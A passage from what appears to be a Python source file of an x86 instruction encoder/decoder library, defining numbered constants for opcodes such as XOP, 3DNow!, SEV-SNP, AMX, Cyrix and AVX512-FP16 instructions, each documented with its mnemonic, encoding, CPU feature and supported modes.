``XOP.128.X9.W0 C1 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDBD_XMM_XMMM128: int = 4157
"""
``VPHADDBD xmm1, xmm2/m128``
``XOP.128.X9.W0 C2 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDBQ_XMM_XMMM128: int = 4158
"""
``VPHADDBQ xmm1, xmm2/m128``
``XOP.128.X9.W0 C3 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDWD_XMM_XMMM128: int = 4159
"""
``VPHADDWD xmm1, xmm2/m128``
``XOP.128.X9.W0 C6 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDWQ_XMM_XMMM128: int = 4160
"""
``VPHADDWQ xmm1, xmm2/m128``
``XOP.128.X9.W0 C7 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDDQ_XMM_XMMM128: int = 4161
"""
``VPHADDDQ xmm1, xmm2/m128``
``XOP.128.X9.W0 CB /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUBW_XMM_XMMM128: int = 4162
"""
``VPHADDUBW xmm1, xmm2/m128``
``XOP.128.X9.W0 D1 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUBD_XMM_XMMM128: int = 4163
"""
``VPHADDUBD xmm1, xmm2/m128``
``XOP.128.X9.W0 D2 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUBQ_XMM_XMMM128: int = 4164
"""
``VPHADDUBQ xmm1, xmm2/m128``
``XOP.128.X9.W0 D3 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUWD_XMM_XMMM128: int = 4165
"""
``VPHADDUWD xmm1, xmm2/m128``
``XOP.128.X9.W0 D6 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUWQ_XMM_XMMM128: int = 4166
"""
``VPHADDUWQ xmm1, xmm2/m128``
``XOP.128.X9.W0 D7 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHADDUDQ_XMM_XMMM128: int = 4167
"""
``VPHADDUDQ xmm1, xmm2/m128``
``XOP.128.X9.W0 DB /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHSUBBW_XMM_XMMM128: int = 4168
"""
``VPHSUBBW xmm1, xmm2/m128``
``XOP.128.X9.W0 E1 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHSUBWD_XMM_XMMM128: int = 4169
"""
``VPHSUBWD xmm1, xmm2/m128``
``XOP.128.X9.W0 E2 /r``
``XOP``
``16/32/64-bit``
"""
XOP_VPHSUBDQ_XMM_XMMM128: int = 4170
"""
``VPHSUBDQ xmm1, xmm2/m128``
``XOP.128.X9.W0 E3 /r``
``XOP``
``16/32/64-bit``
"""
XOP_BEXTR_R32_RM32_IMM32: int = 4171
"""
``BEXTR r32, r/m32, imm32``
``XOP.L0.XA.W0 10 /r id``
``TBM``
``16/32/64-bit``
"""
XOP_BEXTR_R64_RM64_IMM32: int = 4172
"""
``BEXTR r64, r/m64, imm32``
``XOP.L0.XA.W1 10 /r id``
``TBM``
``64-bit``
"""
XOP_LWPINS_R32_RM32_IMM32: int = 4173
"""
``LWPINS r32, r/m32, imm32``
``XOP.L0.XA.W0 12 /0 id``
``LWP``
``16/32/64-bit``
"""
XOP_LWPINS_R64_RM32_IMM32: int = 4174
"""
``LWPINS r64, r/m32, imm32``
``XOP.L0.XA.W1 12 /0 id``
``LWP``
``64-bit``
"""
XOP_LWPVAL_R32_RM32_IMM32: int = 4175
"""
``LWPVAL r32, r/m32, imm32``
``XOP.L0.XA.W0 12 /1 id``
``LWP``
``16/32/64-bit``
"""
XOP_LWPVAL_R64_RM32_IMM32: int = 4176
"""
``LWPVAL r64, r/m32, imm32``
``XOP.L0.XA.W1 12 /1 id``
``LWP``
``64-bit``
"""
D3NOW_PI2FW_MM_MMM64: int = 4177
"""
``PI2FW mm, mm/m64``
``0F 0F /r 0C``
``3DNOWEXT``
``16/32/64-bit``
"""
D3NOW_PI2FD_MM_MMM64: int = 4178
"""
``PI2FD mm, mm/m64``
``0F 0F /r 0D``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PF2IW_MM_MMM64: int = 4179
"""
``PF2IW mm, mm/m64``
``0F 0F /r 1C``
``3DNOWEXT``
``16/32/64-bit``
"""
D3NOW_PF2ID_MM_MMM64: int = 4180
"""
``PF2ID mm, mm/m64``
``0F 0F /r 1D``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRCPV_MM_MMM64: int = 4181
"""
``PFRCPV mm, mm/m64``
``0F 0F /r 86``
``AMD Geode GX/LX``
``16/32-bit``
"""
D3NOW_PFRSQRTV_MM_MMM64: int = 4182
"""
``PFRSQRTV mm, mm/m64``
``0F 0F /r 87``
``AMD Geode GX/LX``
``16/32-bit``
"""
D3NOW_PFNACC_MM_MMM64: int = 4183
"""
``PFNACC mm, mm/m64``
``0F 0F /r 8A``
``3DNOWEXT``
``16/32/64-bit``
"""
D3NOW_PFPNACC_MM_MMM64: int = 4184
"""
``PFPNACC mm, mm/m64``
``0F 0F /r 8E``
``3DNOWEXT``
``16/32/64-bit``
"""
D3NOW_PFCMPGE_MM_MMM64: int = 4185
"""
``PFCMPGE mm, mm/m64``
``0F 0F /r 90``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFMIN_MM_MMM64: int = 4186
"""
``PFMIN mm, mm/m64``
``0F 0F /r 94``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRCP_MM_MMM64: int = 4187
"""
``PFRCP mm, mm/m64``
``0F 0F /r 96``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRSQRT_MM_MMM64: int = 4188
"""
``PFRSQRT mm, mm/m64``
``0F 0F /r 97``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFSUB_MM_MMM64: int = 4189
"""
``PFSUB mm, mm/m64``
``0F 0F /r 9A``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFADD_MM_MMM64: int = 4190
"""
``PFADD mm, mm/m64``
``0F 0F /r 9E``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFCMPGT_MM_MMM64: int = 4191
"""
``PFCMPGT mm, mm/m64``
``0F 0F /r A0``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFMAX_MM_MMM64: int = 4192
"""
``PFMAX mm, mm/m64``
``0F 0F /r A4``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRCPIT1_MM_MMM64: int = 4193
"""
``PFRCPIT1 mm, mm/m64``
``0F 0F /r A6``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRSQIT1_MM_MMM64: int = 4194
"""
``PFRSQIT1 mm, mm/m64``
``0F 0F /r A7``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFSUBR_MM_MMM64: int = 4195
"""
``PFSUBR mm, mm/m64``
``0F 0F /r AA``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFACC_MM_MMM64: int = 4196
"""
``PFACC mm, mm/m64``
``0F 0F /r AE``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFCMPEQ_MM_MMM64: int = 4197
"""
``PFCMPEQ mm, mm/m64``
``0F 0F /r B0``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFMUL_MM_MMM64: int = 4198
"""
``PFMUL mm, mm/m64``
``0F 0F /r B4``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PFRCPIT2_MM_MMM64: int = 4199
"""
``PFRCPIT2 mm, mm/m64``
``0F 0F /r B6``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PMULHRW_MM_MMM64: int = 4200
"""
``PMULHRW mm, mm/m64``
``0F 0F /r B7``
``3DNOW``
``16/32/64-bit``
"""
D3NOW_PSWAPD_MM_MMM64: int = 4201
"""
``PSWAPD mm, mm/m64``
``0F 0F /r BB``
``3DNOWEXT``
``16/32/64-bit``
"""
D3NOW_PAVGUSB_MM_MMM64: int = 4202
"""
``PAVGUSB mm, mm/m64``
``0F 0F /r BF``
``3DNOW``
``16/32/64-bit``
"""
RMPADJUST: int = 4203
"""
``RMPADJUST``
``F3 0F 01 FE``
``SEV-SNP``
``64-bit``
"""
RMPUPDATE: int = 4204
"""
``RMPUPDATE``
``F2 0F 01 FE``
``SEV-SNP``
``64-bit``
"""
PSMASH: int = 4205
"""
``PSMASH``
``F3 0F 01 FF``
``SEV-SNP``
``64-bit``
"""
PVALIDATEW: int = 4206
"""
``PVALIDATE``
``a16 F2 0F 01 FF``
``SEV-SNP``
``16/32-bit``
"""
PVALIDATED: int = 4207
"""
``PVALIDATE``
``a32 F2 0F 01 FF``
``SEV-SNP``
``16/32/64-bit``
"""
PVALIDATEQ: int = 4208
"""
``PVALIDATE``
``a64 F2 0F 01 FF``
``SEV-SNP``
``64-bit``
"""
SERIALIZE: int = 4209
"""
``SERIALIZE``
``NP 0F 01 E8``
``SERIALIZE``
``16/32/64-bit``
"""
XSUSLDTRK: int = 4210
"""
``XSUSLDTRK``
``F2 0F 01 E8``
``TSXLDTRK``
``16/32/64-bit``
"""
XRESLDTRK: int = 4211
"""
``XRESLDTRK``
``F2 0F 01 E9``
``TSXLDTRK``
``16/32/64-bit``
"""
INVLPGBW: int = 4212
"""
``INVLPGB``
``a16 NP 0F 01 FE``
``INVLPGB``
``16/32-bit``
"""
INVLPGBD: int = 4213
"""
``INVLPGB``
``a32 NP 0F 01 FE``
``INVLPGB``
``16/32/64-bit``
"""
INVLPGBQ: int = 4214
"""
``INVLPGB``
``a64 NP 0F 01 FE``
``INVLPGB``
``64-bit``
"""
TLBSYNC: int = 4215
"""
``TLBSYNC``
``NP 0F 01 FF``
``INVLPGB``
``16/32/64-bit``
"""
PREFETCHRESERVED3_M8: int = 4216
"""
``PREFETCHW m8``
``0F 0D /3``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHRESERVED4_M8: int = 4217
"""
``PREFETCH m8``
``0F 0D /4``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHRESERVED5_M8: int = 4218
"""
``PREFETCH m8``
``0F 0D /5``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHRESERVED6_M8: int = 4219
"""
``PREFETCH m8``
``0F 0D /6``
``PREFETCHW``
``16/32/64-bit``
"""
PREFETCHRESERVED7_M8: int = 4220
"""
``PREFETCH m8``
``0F 0D /7``
``PREFETCHW``
``16/32/64-bit``
"""
UD0: int = 4221
"""
``UD0``
``0F FF``
``286+``
``16/32/64-bit``
"""
VMGEXIT: int = 4222
"""
``VMGEXIT``
``F3 0F 01 D9``
``SEV-ES``
``16/32/64-bit``
"""
GETSECQ: int = 4223
"""
``GETSECQ``
``NP o64 0F 37``
``SMX``
``64-bit``
"""
VEX_LDTILECFG_M512: int = 4224
"""
``LDTILECFG m512``
``VEX.128.0F38.W0 49 !(11):000:bbb``
``AMX-TILE``
``64-bit``
"""
VEX_TILERELEASE: int = 4225
"""
``TILERELEASE``
``VEX.128.0F38.W0 49 C0``
``AMX-TILE``
``64-bit``
"""
VEX_STTILECFG_M512: int = 4226
"""
``STTILECFG m512``
``VEX.128.66.0F38.W0 49 !(11):000:bbb``
``AMX-TILE``
``64-bit``
"""
VEX_TILEZERO_TMM: int = 4227
"""
``TILEZERO tmm1``
``VEX.128.F2.0F38.W0 49 11:rrr:000``
``AMX-TILE``
``64-bit``
"""
VEX_TILELOADDT1_TMM_SIBMEM: int = 4228
"""
``TILELOADDT1 tmm1, sibmem``
``VEX.128.66.0F38.W0 4B !(11):rrr:100``
``AMX-TILE``
``64-bit``
"""
VEX_TILESTORED_SIBMEM_TMM: int = 4229
"""
``TILESTORED sibmem, tmm1``
``VEX.128.F3.0F38.W0 4B !(11):rrr:100``
``AMX-TILE``
``64-bit``
"""
VEX_TILELOADD_TMM_SIBMEM: int = 4230
"""
``TILELOADD tmm1, sibmem``
``VEX.128.F2.0F38.W0 4B !(11):rrr:100``
``AMX-TILE``
``64-bit``
"""
VEX_TDPBF16PS_TMM_TMM_TMM: int = 4231
"""
``TDPBF16PS tmm1, tmm2, tmm3``
``VEX.128.F3.0F38.W0 5C 11:rrr:bbb``
``AMX-BF16``
``64-bit``
"""
VEX_TDPBUUD_TMM_TMM_TMM: int = 4232
"""
``TDPBUUD tmm1, tmm2, tmm3``
``VEX.128.0F38.W0 5E 11:rrr:bbb``
``AMX-INT8``
``64-bit``
"""
VEX_TDPBUSD_TMM_TMM_TMM: int = 4233
"""
``TDPBUSD tmm1, tmm2, tmm3``
``VEX.128.66.0F38.W0 5E 11:rrr:bbb``
``AMX-INT8``
``64-bit``
"""
VEX_TDPBSUD_TMM_TMM_TMM: int = 4234
"""
``TDPBSUD tmm1, tmm2, tmm3``
``VEX.128.F3.0F38.W0 5E 11:rrr:bbb``
``AMX-INT8``
``64-bit``
"""
VEX_TDPBSSD_TMM_TMM_TMM: int = 4235
"""
``TDPBSSD tmm1, tmm2, tmm3``
``VEX.128.F2.0F38.W0 5E 11:rrr:bbb``
``AMX-INT8``
``64-bit``
"""
FNSTDW_AX: int = 4236
"""
``FNSTDW AX``
``DF E1``
``387 SL``
``16/32-bit``
"""
FNSTSG_AX: int = 4237
"""
``FNSTSG AX``
``DF E2``
``387 SL``
``16/32-bit``
"""
RDSHR_RM32: int = 4238
"""
``RDSHR r/m32``
``0F 36 /0``
``Cyrix 6x86MX, M II, III``
``16/32-bit``
"""
WRSHR_RM32: int = 4239
"""
``WRSHR r/m32``
``0F 37 /0``
``Cyrix 6x86MX, M II, III``
``16/32-bit``
"""
SMINT: int = 4240
"""
``SMINT``
``0F 38``
``Cyrix 6x86MX+, AMD Geode GX/LX``
``16/32-bit``
"""
DMINT: int = 4241
"""
``DMINT``
``0F 39``
``AMD Geode GX/LX``
``16/32-bit``
"""
RDM: int = 4242
"""
``RDM``
``0F 3A``
``AMD Geode GX/LX``
``16/32-bit``
"""
SVDC_M80_SREG: int = 4243
"""
``SVDC m80, Sreg``
``0F 78 /r``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
RSDC_SREG_M80: int = 4244
"""
``RSDC Sreg, m80``
``0F 79 /r``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
SVLDT_M80: int = 4245
"""
``SVLDT m80``
``0F 7A /0``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
RSLDT_M80: int = 4246
"""
``RSLDT m80``
``0F 7B /0``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
SVTS_M80: int = 4247
"""
``SVTS m80``
``0F 7C /0``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
RSTS_M80: int = 4248
"""
``RSTS m80``
``0F 7D /0``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
SMINT_0F7E: int = 4249
"""
``SMINT``
``0F 7E``
``Cyrix 6x86 or earlier``
``16/32-bit``
"""
BB0_RESET: int = 4250
"""
``BB0_RESET``
``0F 3A``
``Cyrix MediaGX, GXm, GXLV, GX1``
``16/32-bit``
"""
BB1_RESET: int = 4251
"""
``BB1_RESET``
``0F 3B``
``Cyrix MediaGX, GXm, GXLV, GX1``
``16/32-bit``
"""
CPU_WRITE: int = 4252
"""
``CPU_WRITE``
``0F 3C``
``Cyrix MediaGX, GXm, GXLV, GX1``
``16/32-bit``
"""
CPU_READ: int = 4253
"""
``CPU_READ``
``0F 3D``
``Cyrix MediaGX, GXm, GXLV, GX1``
``16/32-bit``
"""
ALTINST: int = 4254
"""
``ALTINST``
``0F 3F``
``Centaur AIS``
``16/32-bit``
"""
PAVEB_MM_MMM64: int = 4255
"""
``PAVEB mm, mm/m64``
``0F 50 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PADDSIW_MM_MMM64: int = 4256
"""
``PADDSIW mm, mm/m64``
``0F 51 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMAGW_MM_MMM64: int = 4257
"""
``PMAGW mm, mm/m64``
``0F 52 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PDISTIB_MM_M64: int = 4258
"""
``PDISTIB mm, m64``
``0F 54 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PSUBSIW_MM_MMM64: int = 4259
"""
``PSUBSIW mm, mm/m64``
``0F 55 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMVZB_MM_M64: int = 4260
"""
``PMVZB mm, m64``
``0F 58 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMULHRW_MM_MMM64: int = 4261
"""
``PMULHRW mm, mm/m64``
``0F 59 /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMVNZB_MM_M64: int = 4262
"""
``PMVNZB mm, m64``
``0F 5A /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMVLZB_MM_M64: int = 4263
"""
``PMVLZB mm, m64``
``0F 5B /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMVGEZB_MM_M64: int = 4264
"""
``PMVGEZB mm, m64``
``0F 5C /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMULHRIW_MM_MMM64: int = 4265
"""
``PMULHRIW mm, mm/m64``
``0F 5D /r``
``CYRIX_EMMI``
``16/32-bit``
"""
PMACHRIW_MM_M64: int = 4266
"""
``PMACHRIW mm, m64``
``0F 5E /r``
``CYRIX_EMMI``
``16/32-bit``
"""
CYRIX_D9D7: int = 4267
"""
``UNDOC``
``D9 D7``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_D9E2: int = 4268
"""
``UNDOC``
``D9 E2``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
FTSTP: int = 4269
"""
``FTSTP``
``D9 E6``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_D9E7: int = 4270
"""
``UNDOC``
``D9 E7``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
FRINT2: int = 4271
"""
``FRINT2``
``DB FC``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
FRICHOP: int = 4272
"""
``FRICHOP``
``DD FC``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_DED8: int = 4273
"""
``UNDOC``
``DE D8``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_DEDA: int = 4274
"""
``UNDOC``
``DE DA``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_DEDC: int = 4275
"""
``UNDOC``
``DE DC``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_DEDD: int = 4276
"""
``UNDOC``
``DE DD``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
CYRIX_DEDE: int = 4277
"""
``UNDOC``
``DE DE``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
FRINEAR: int = 4278
"""
``FRINEAR``
``DF FC``
``Cyrix, AMD Geode GX/LX``
``16/32-bit``
"""
TDCALL: int = 4279
"""
``TDCALL``
``66 0F 01 CC``
``TDX``
``16/32/64-bit``
"""
SEAMRET: int = 4280
"""
``SEAMRET``
``66 0F 01 CD``
``TDX``
``64-bit``
"""
SEAMOPS: int = 4281
"""
``SEAMOPS``
``66 0F 01 CE``
``TDX``
``64-bit``
"""
SEAMCALL: int = 4282
"""
``SEAMCALL``
``66 0F 01 CF``
``TDX``
``64-bit``
"""
AESENCWIDE128KL_M384: int = 4283
"""
``AESENCWIDE128KL m384, <XMM0-7>``
``F3 0F 38 D8 !(11):000:bbb``
``AESKLE and WIDE_KL``
``16/32/64-bit``
"""
AESDECWIDE128KL_M384: int = 4284
"""
``AESDECWIDE128KL m384, <XMM0-7>``
``F3 0F 38 D8 !(11):001:bbb``
``AESKLE and WIDE_KL``
``16/32/64-bit``
"""
AESENCWIDE256KL_M512: int = 4285
"""
``AESENCWIDE256KL m512, <XMM0-7>``
``F3 0F 38 D8 !(11):010:bbb``
``AESKLE and WIDE_KL``
``16/32/64-bit``
"""
AESDECWIDE256KL_M512: int = 4286
"""
``AESDECWIDE256KL m512, <XMM0-7>``
``F3 0F 38 D8 !(11):011:bbb``
``AESKLE and WIDE_KL``
``16/32/64-bit``
"""
LOADIWKEY_XMM_XMM: int = 4287
"""
``LOADIWKEY xmm1, xmm2, <EAX>, <XMM0>``
``F3 0F 38 DC 11:rrr:bbb``
``KL``
``16/32/64-bit``
"""
AESENC128KL_XMM_M384: int = 4288
"""
``AESENC128KL xmm, m384``
``F3 0F 38 DC !(11):rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
AESDEC128KL_XMM_M384: int = 4289
"""
``AESDEC128KL xmm, m384``
``F3 0F 38 DD !(11):rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
AESENC256KL_XMM_M512: int = 4290
"""
``AESENC256KL xmm, m512``
``F3 0F 38 DE !(11):rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
AESDEC256KL_XMM_M512: int = 4291
"""
``AESDEC256KL xmm, m512``
``F3 0F 38 DF !(11):rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
ENCODEKEY128_R32_R32: int = 4292
"""
``ENCODEKEY128 r32, r32, <XMM0-2>, <XMM4-6>``
``F3 0F 38 FA 11:rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
ENCODEKEY256_R32_R32: int = 4293
"""
``ENCODEKEY256 r32, r32, <XMM0-6>``
``F3 0F 38 FB 11:rrr:bbb``
``AESKLE``
``16/32/64-bit``
"""
VEX_VBROADCASTSS_XMM_XMM: int = 4294
"""
``VBROADCASTSS xmm1, xmm2``
``VEX.128.66.0F38.W0 18 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VBROADCASTSS_YMM_XMM: int = 4295
"""
``VBROADCASTSS ymm1, xmm2``
``VEX.256.66.0F38.W0 18 /r``
``AVX2``
``16/32/64-bit``
"""
VEX_VBROADCASTSD_YMM_XMM: int = 4296
"""
``VBROADCASTSD ymm1, xmm2``
``VEX.256.66.0F38.W0 19 /r``
``AVX2``
``16/32/64-bit``
"""
VMGEXIT_F2: int = 4297
"""
``VMGEXIT``
``F2 0F 01 D9``
``SEV-ES``
``16/32/64-bit``
"""
UIRET: int = 4298
"""
``UIRET``
``F3 0F 01 EC``
``UINTR``
``64-bit``
"""
TESTUI: int = 4299
"""
``TESTUI``
``F3 0F 01 ED``
``UINTR``
``64-bit``
"""
CLUI: int = 4300
"""
``CLUI``
``F3 0F 01 EE``
``UINTR``
``64-bit``
"""
STUI: int = 4301
"""
``STUI``
``F3 0F 01 EF``
``UINTR``
``64-bit``
"""
SENDUIPI_R64: int = 4302
"""
``SENDUIPI r64``
``F3 0F C7 /6``
``UINTR``
``64-bit``
"""
HRESET_IMM8: int = 4303
"""
``HRESET imm8, <EAX>``
``F3 0F 3A F0 C0 ib``
``HRESET``
``16/32/64-bit``
"""
VEX_VPDPBUSD_XMM_XMM_XMMM128: int = 4304
"""
``VPDPBUSD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 50 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPBUSD_YMM_YMM_YMMM256: int = 4305
"""
``VPDPBUSD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 50 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPBUSDS_XMM_XMM_XMMM128: int = 4306
"""
``VPDPBUSDS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 51 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPBUSDS_YMM_YMM_YMMM256: int = 4307
"""
``VPDPBUSDS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 51 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPWSSD_XMM_XMM_XMMM128: int = 4308
"""
``VPDPWSSD xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 52 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPWSSD_YMM_YMM_YMMM256: int = 4309
"""
``VPDPWSSD ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 52 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPWSSDS_XMM_XMM_XMMM128: int = 4310
"""
``VPDPWSSDS xmm1, xmm2, xmm3/m128``
``VEX.128.66.0F38.W0 53 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
VEX_VPDPWSSDS_YMM_YMM_YMMM256: int = 4311
"""
``VPDPWSSDS ymm1, ymm2, ymm3/m256``
``VEX.256.66.0F38.W0 53 /r``
``AVX-VNNI``
``16/32/64-bit``
"""
CCS_HASH_16: int = 4312
"""
``CCS_HASH``
``a16 F3 0F A6 E8``
``PADLOCK_GMI``
``16/32-bit``
"""
CCS_HASH_32: int = 4313
"""
``CCS_HASH``
``a32 F3 0F A6 E8``
``PADLOCK_GMI``
``16/32/64-bit``
"""
CCS_HASH_64: int = 4314
"""
``CCS_HASH``
``a64 F3 0F A6 E8``
``PADLOCK_GMI``
``64-bit``
"""
CCS_ENCRYPT_16: int = 4315
"""
``CCS_ENCRYPT``
``a16 F3 0F A7 F0``
``PADLOCK_GMI``
``16/32-bit``
"""
CCS_ENCRYPT_32: int = 4316
"""
``CCS_ENCRYPT``
``a32 F3 0F A7 F0``
``PADLOCK_GMI``
``16/32/64-bit``
"""
CCS_ENCRYPT_64: int = 4317
"""
``CCS_ENCRYPT``
``a64 F3 0F A7 F0``
``PADLOCK_GMI``
``64-bit``
"""
LKGS_RM16: int = 4318
"""
``LKGS r/m16``
``o16 F2 0F 00 /6``
``LKGS``
``64-bit``
"""
LKGS_R32M16: int = 4319
"""
``LKGS r32/m16``
``o32 F2 0F 00 /6``
``LKGS``
``64-bit``
"""
LKGS_R64M16: int = 4320
"""
``LKGS r64/m16``
``F2 o64 0F 00 /6``
``LKGS``
``64-bit``
"""
ERETU: int = 4321
"""
``ERETU``
``F3 0F 01 CA``
``FRED``
``64-bit``
"""
ERETS: int = 4322
"""
``ERETS``
``F2 0F 01 CA``
``FRED``
``64-bit``
"""
EVEX_VADDPH_XMM_K1Z_XMM_XMMM128B16: int = 4323
"""
``VADDPH xmm1 {k1}{z}, xmm2, xmm3/m128/m16bcst``
``EVEX.128.MAP5.W0 58 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VADDPH_YMM_K1Z_YMM_YMMM256B16: int = 4324
"""
``VADDPH ymm1 {k1}{z}, ymm2, ymm3/m256/m16bcst``
``EVEX.256.MAP5.W0 58 /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VADDPH_ZMM_K1Z_ZMM_ZMMM512B16_ER: int = 4325
"""
``VADDPH zmm1 {k1}{z}, zmm2, zmm3/m512/m16bcst{er}``
``EVEX.512.MAP5.W0 58 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VADDSH_XMM_K1Z_XMM_XMMM16_ER: int = 4326
"""
``VADDSH xmm1 {k1}{z}, xmm2, xmm3/m16{er}``
``EVEX.LIG.F3.MAP5.W0 58 /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCMPPH_KR_K1_XMM_XMMM128B16_IMM8: int = 4327
"""
``VCMPPH k1 {k2}, xmm2, xmm3/m128/m16bcst, imm8``
``EVEX.128.0F3A.W0 C2 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCMPPH_KR_K1_YMM_YMMM256B16_IMM8: int = 4328
"""
``VCMPPH k1 {k2}, ymm2, ymm3/m256/m16bcst, imm8``
``EVEX.256.0F3A.W0 C2 /r ib``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCMPPH_KR_K1_ZMM_ZMMM512B16_IMM8_SAE: int = 4329
"""
``VCMPPH k1 {k2}, zmm2, zmm3/m512/m16bcst{sae}, imm8``
``EVEX.512.0F3A.W0 C2 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCMPSH_KR_K1_XMM_XMMM16_IMM8_SAE: int = 4330
"""
``VCMPSH k1 {k2}, xmm2, xmm3/m16{sae}, imm8``
``EVEX.LIG.F3.0F3A.W0 C2 /r ib``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCOMISH_XMM_XMMM16_SAE: int = 4331
"""
``VCOMISH xmm1, xmm2/m16{sae}``
``EVEX.LIG.MAP5.W0 2F /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PH_XMM_K1Z_XMMM128B32: int = 4332
"""
``VCVTDQ2PH xmm1 {k1}{z}, xmm2/m128/m32bcst``
``EVEX.128.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PH_XMM_K1Z_YMMM256B32: int = 4333
"""
``VCVTDQ2PH xmm1 {k1}{z}, ymm2/m256/m32bcst``
``EVEX.256.MAP5.W0 5B /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTDQ2PH_YMM_K1Z_ZMMM512B32_ER: int = 4334
"""
``VCVTDQ2PH ymm1 {k1}{z}, zmm2/m512/m32bcst{er}``
``EVEX.512.MAP5.W0 5B /r``
``AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPD2PH_XMM_K1Z_XMMM128B64: int = 4335
"""
``VCVTPD2PH xmm1 {k1}{z}, xmm2/m128/m64bcst``
``EVEX.128.66.MAP5.W1 5A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
EVEX_VCVTPD2PH_XMM_K1Z_YMMM256B64: int = 4336
"""
``VCVTPD2PH xmm1 {k1}{z}, ymm2/m256/m64bcst``
``EVEX.256.66.MAP5.W1 5A /r``
``AVX512VL and AVX512-FP16``
``16/32/64-bit``
"""
